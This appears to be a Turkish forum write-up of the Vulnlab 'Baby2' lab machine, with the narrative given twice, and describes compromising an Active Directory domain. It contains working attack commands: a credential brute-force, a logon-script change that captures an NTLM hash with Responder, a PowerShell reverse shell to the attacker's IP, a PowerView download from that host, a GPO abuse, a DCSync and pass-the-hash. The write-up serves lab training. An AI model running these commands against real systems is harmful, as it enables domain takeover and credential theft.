- Katılım
- 22 Ocak 2024
- Mesajlar
- 26
- Tepkime puanı
- 40
- Puanları
- 13
Merhaba, bu yazımda Vulnlab platformundaki Baby2 makinesinin çözümünü anlatacağım.
İlk olarak, nmap taraması ile sistemi numaralandırıyorum.
SMB portunun açık olduğunu görüyorum ve burada anonim olarak paylaşımları listelemeyi deniyorum.
Anonim olarak listelemeyi başardım.
Burada "homes" dizinine girdiğimde kullanıcı adlarını görüyorum. Bunları users.txt dosyasına kaydediyorum ve bir brute-force deniyorum.
"Carl.Moore" adlı kullanıcının kullanıcı adı ve şifresinin aynı olduğunu görüyorum. Bu kullanıcı ile sistemi daha iyi anlamak için BloodHound çalıştırıyorum.
BloodHound'u çalıştırmak için ilk olarak Neo4j servisini çalıştırıyorum.
Şimdi BloodHound'u çalıştırabilirim. "Carl.Moore" adlı kullanıcıyla ilgili herhangi bir şey bulamadım, ancak "Domain Admin" olmamı sağlayacak bir yol buldum.
Nicola.Lamb adlı kullanıcı LEGACY grubunda ve LEGACY grubu GPOADM üzerinde “WriteDacl” yetkisine sahip (bu yetkiyi ileride kullanıcı üzerinde full yetki elde etmek için kullanacağız ve bu sayede kullanıcının şifresini değiştirme yetkisine sahip olacağız .)
GPOADM kullanıcı ise Domain Controllers Policy üzerinde “GenericAll” yetkisine sahip bu yanlış yetkilendirme sayesinde bir policy (evil policy) oluşturup GPOADM kullanıcısını “Administrators” grubuna ekleyip Domain Admin olacağım ama tabi ki ilk olarak bunları gerçekleştirmek için Nicola.Lamb kullanıcısına erişmemiz gerekiyor
şimdi ilk olarak ona odaklanalım SMB’yi biraz daha enumerate ediyorum ve karşıma bir login scripti geliyor bu script bir scheduled task olarak kaydedilmiş ve bunu Carl.Moore adlı kullanıcı ile değiştirebiliyorum (silip yeniden upload edebiliyorum)
login.vbs içeriğine baktığımda bazı komutlar dikkatimi çekiyor
MapNetworkShare “\\dc.baby2.vl\apps”, “V”
MapNetworkShare “\\dc.baby2.vl\docs”, “L”
bu iki komut \\dc.baby2.vl\apps paylaşımını V diskine map ediyor
diğeri ise docs paylaşımını L diskine map ediyor eğer ben buraya kendi ip adresimi verip responder ile dinleme yaparsam scheduled taski çalıştıran kullanıcının hashini yakalayabilirim.
MapNetworkShare "\\10.8.2.20\mao", "V"
MapNetworkShare "\\10.8.2.20\tun", "L"
bu şekilde değiştiriyorum ve SYSVOL paylaşımına upload ediyorum.
responder’ı da çalıştırdıktan sonra bir kaç dakika bekliyorum ve
[SMB] NTLMv1-SSP Hash : Amelia.Griffiths::BABY2:3AE29F2D6D4B59FE00000000000000000000000000000000:145A830A6F2D5BDADDC94B4F161A3D4D3993FD55B2C6AC47:3b0d4635155d0ab3
Amelia.Griffiths adlı kullanıcının hashini alıyorum.
burada aradığım kullanıcı aslında Nicola.Lamb di çünkü bu kullanıcının bir çok yetkisi var ama bu yetkiler LEGACY grubundaki tüm üyeler için geçerli olduğu için LEGACY grubunun tüm üyelerine baktığımda Amelia.Griffiths’i de görüyorum ondan dolayı bu kullanıcıyı kullanarak Domain Admin olacağım.
hashi kırmayı deniyorum ama herhangi bir şekilde hashi kırmayı başaramıyorum bunun yerine bir reverse shell ile sisteme bağlanmayı deniyorum.
CreateObject(“WScript.Shell”).Run “cmd /c powershell -c “”$client = New-Object System.Net.Sockets.TCPClient(‘10.8.2.20’, 1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”””
komutu vbs dosyasının en alt kısmına ekliyorum login.vbs dosyamı güncelledikten sonra bir netcat listeneri ile dinleme yapıyorum.
sisteme amelia.griffiths olarak giriş yaptım şimdi yukarıda bahsettiğim işlemleri gerçekleştireceğim. Başlamadan önce PowerView.ps1 i download edip import ediyorum
bu komut ile GPOADM üzerindeki “WriteDacl” yetkisi sayesinde kullanıcı üzerinde full yetki elde ettik . Bu sayede GPOADM kullanıcısının şifresini değiştirebiliriz.
GPOADM kullanıcısının şifresini “Password123!” olarak değiştirdim.
şimdi artık Domain Policy’i manipüle edebilirim.Bunun için pyGPOabuse.py scriptini kullanacağım.
bunun için GPO id’yi bilmemiz gerekiyor bunu da manipüle etmek istediğimiz GPO nun IDsi olarak gireceğim
bunu öğrendikten sonra artık GPO yu manipüle edebiliriz.
bu script ile Domain Controller GPO’su içerisinde bir task olusturdu bu task ise GPOADM kullanıcısını Administrators grubuna ekleyen bir task.
task’ın doğru bir şekilde çalışıp çalışmadığını kontrol ediyorum
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm
The command completed successfully.
şimdi “gpoadm” kullanıcısı ile bir DCSync saldırısı yapabilirim.
buradan da administrator kullanıcısının hashini alıp pass the hash saldırısı gerçekleştireceğim.
artık Domain Admin oldum ve flagleri alıp makineyi kapatıyorum.
c:\> type C:\user.txt
VL{36a82<REDACTED>cc81a45d22}
c:\> type C:\users\Administrator\Desktop\root.txt
VL{f0205b652e<REDACTED>3516}
İlk olarak, nmap taraması ile sistemi numaralandırıyorum.
nmap -sSV -v -p- -T4 $ip -n -Pn
SMB portunun açık olduğunu görüyorum ve burada anonim olarak paylaşımları listelemeyi deniyorum.
Anonim olarak listelemeyi başardım.
ADMIN$ Disk Remote Admin
apps Disk
C$ Disk Default share
docs Disk
homes Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Burada "homes" dizinine girdiğimde kullanıcı adlarını görüyorum. Bunları users.txt dosyasına kaydediyorum ve bir brute-force deniyorum.
crackmapexec smb 10.10.71.17 -u usernames.txt -p usernames.txt
"Carl.Moore" adlı kullanıcının kullanıcı adı ve şifresinin aynı olduğunu görüyorum. Bu kullanıcı ile sistemi daha iyi anlamak için BloodHound çalıştırıyorum.
bloodhound-python -ns 10.10.71.17 -d baby2.vl -c All -u Carl.Moore
BloodHound'u çalıştırmak için ilk olarak Neo4j servisini çalıştırıyorum.
neo4j console
Şimdi BloodHound'u çalıştırabilirim. "Carl.Moore" adlı kullanıcıyla ilgili herhangi bir şey bulamadım, ancak "Domain Admin" olmamı sağlayacak bir yol buldum.
Nicola.Lamb adlı kullanıcı LEGACY grubunda ve LEGACY grubu GPOADM üzerinde “WriteDacl” yetkisine sahip (bu yetkiyi ileride kullanıcı üzerinde full yetki elde etmek için kullanacağız ve bu sayede kullanıcının şifresini değiştirme yetkisine sahip olacağız .)
GPOADM kullanıcı ise Domain Controllers Policy üzerinde “GenericAll” yetkisine sahip bu yanlış yetkilendirme sayesinde bir policy (evil policy) oluşturup GPOADM kullanıcısını “Administrators” grubuna ekleyip Domain Admin olacağım ama tabi ki ilk olarak bunları gerçekleştirmek için Nicola.Lamb kullanıcısına erişmemiz gerekiyor
şimdi ilk olarak ona odaklanalım SMB’yi biraz daha enumerate ediyorum ve karşıma bir login scripti geliyor bu script bir scheduled task olarak kaydedilmiş ve bunu Carl.Moore adlı kullanıcı ile değiştirebiliyorum (silip yeniden upload edebiliyorum)
smbclient -U Carl.Moore //$ip/SYSVOL
> del login.vbs
> put login.vbs
login.vbs içeriğine baktığımda bazı komutlar dikkatimi çekiyor
MapNetworkShare “\\dc.baby2.vl\apps”, “V”
MapNetworkShare “\\dc.baby2.vl\docs”, “L”
bu iki komut \\dc.baby2.vl\apps paylaşımını V diskine map ediyor
diğeri ise docs paylaşımını L diskine map ediyor eğer ben buraya kendi ip adresimi verip responder ile dinleme yaparsam scheduled taski çalıştıran kullanıcının hashini yakalayabilirim.
MapNetworkShare "\\10.8.2.20\mao", "V"
MapNetworkShare "\\10.8.2.20\tun", "L"
bu şekilde değiştiriyorum ve SYSVOL paylaşımına upload ediyorum.
responder -I tun0
responder’ı da çalıştırdıktan sonra bir kaç dakika bekliyorum ve
[SMB] NTLMv1-SSP Hash : Amelia.Griffiths::BABY2:3AE29F2D6D4B59FE00000000000000000000000000000000:145A830A6F2D5BDADDC94B4F161A3D4D3993FD55B2C6AC47:3b0d4635155d0ab3
Amelia.Griffiths adlı kullanıcının hashini alıyorum.
burada aradığım kullanıcı aslında Nicola.Lamb di çünkü bu kullanıcının bir çok yetkisi var ama bu yetkiler LEGACY grubundaki tüm üyeler için geçerli olduğu için LEGACY grubunun tüm üyelerine baktığımda Amelia.Griffiths’i de görüyorum ondan dolayı bu kullanıcıyı kullanarak Domain Admin olacağım.
hashi kırmayı deniyorum ama herhangi bir şekilde hashi kırmayı başaramıyorum bunun yerine bir reverse shell ile sisteme bağlanmayı deniyorum.
CreateObject(“WScript.Shell”).Run “cmd /c powershell -c “”$client = New-Object System.Net.Sockets.TCPClient(‘10.8.2.20’, 1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”””
komutu vbs dosyasının en alt kısmına ekliyorum login.vbs dosyamı güncelledikten sonra bir netcat listeneri ile dinleme yapıyorum.
PS C:\Windows\system32> whoami
[U]baby2\amelia.griffiths[/U]
sisteme amelia.griffiths olarak giriş yaptım şimdi yukarıda bahsettiğim işlemleri gerçekleştireceğim. Başlamadan önce PowerView.ps1 i download edip import ediyorum
wget http://10.8.2.20/PowerView.ps1 -o pw.ps1
. .\pw.ps1
Add-DomainObjectAcl -TargetIdentity GPOADM -PrincipalIdentity Amelia.Griffiths -Rights All
bu komut ile GPOADM üzerindeki “WriteDacl” yetkisi sayesinde kullanıcı üzerinde full yetki elde ettik . Bu sayede GPOADM kullanıcısının şifresini değiştirebiliriz.
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity GPOADM -AccountPassword $UserPassword
GPOADM kullanıcısının şifresini “Password123!” olarak değiştirdim.
şimdi artık Domain Policy’i manipüle edebilirim.Bunun için pyGPOabuse.py scriptini kullanacağım.
bunun için GPO id’yi bilmemiz gerekiyor bunu da manipüle etmek istediğimiz GPO nun IDsi olarak gireceğim
bunu öğrendikten sonra artık GPO yu manipüle edebiliriz.
python3 pygpoabuse.py baby2.vl/GPOADM -command 'net localgroup administrators GPOADM /add' -gpo-id '6AC1786C-016F-11D2-945F-00C04FB984F9' -dc-ip 10.10.71.17
bu script ile Domain Controller GPO’su içerisinde bir task olusturdu bu task ise GPOADM kullanıcısını Administrators grubuna ekleyen bir task.
task’ın doğru bir şekilde çalışıp çalışmadığını kontrol ediyorum
PS C:\Temp> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm
The command completed successfully.
şimdi “gpoadm” kullanıcısı ile bir DCSync saldırısı yapabilirim.
impacket-secretsdump baby2.vl/[email protected]
buradan da administrator kullanıcısının hashini alıp pass the hash saldırısı gerçekleştireceğim.
impacket-psexec [email protected] -hashes ":61eb5<REDACTED>0fdca6eb82"
artık Domain Admin oldum ve flagleri alıp makineyi kapatıyorum.
C:\Windows\system32> hostname
dc
C:\Windows\system32> whoami
nt authority\system
c:\> type C:\user.txt
VL{36a82<REDACTED>cc81a45d22}
c:\> type C:\users\Administrator\Desktop\root.txt
VL{f0205b652e<REDACTED>3516}